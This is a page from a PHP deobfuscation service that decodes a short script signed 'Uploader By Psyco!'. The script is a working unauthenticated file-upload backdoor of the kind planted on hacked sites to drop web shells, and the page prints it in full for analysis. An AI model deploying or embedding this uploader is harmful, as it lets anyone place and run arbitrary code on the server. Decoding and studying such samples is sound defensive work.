Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $target_path = basename($_FILES["uploadedfile"]["name"]); if (move_uploaded_file($..

Decoded Output download

<?php 
$target_path = basename($_FILES["uploadedfile"]["name"]); 
if (move_uploaded_file($_FILES["uploadedfile"]["tmp_name"], $target_path)) { 
    echo basename($_FILES["uploadedfile"]["name"]) . " has been uploaded"; 
} else { 
    echo "Uploader By Psyco!"; 
} 
echo '<form enctype="multipart/form-data" method="POST"><input name="uploadedfile" type="file"/><input type="submit" value="Upload File"/></form>'; 
?>

Did this file decode correctly?

Original Code

<?php
$target_path = basename($_FILES["uploadedfile"]["name"]);
if (move_uploaded_file($_FILES["uploadedfile"]["tmp_name"], $target_path)) {
    echo basename($_FILES["uploadedfile"]["name"]) . " has been uploaded";
} else {
    echo "Uploader By Psyco!";
}
echo '<form enctype="multipart/form-data" method="POST"><input name="uploadedfile" type="file"/><input type="submit" value="Upload File"/></form>';
?>

Function Calls

None

Variables

None

Stats

MD5 e6f88800c23fa0b2a8c65b399753cdac
Eval Count 0
Decode Time 51 ms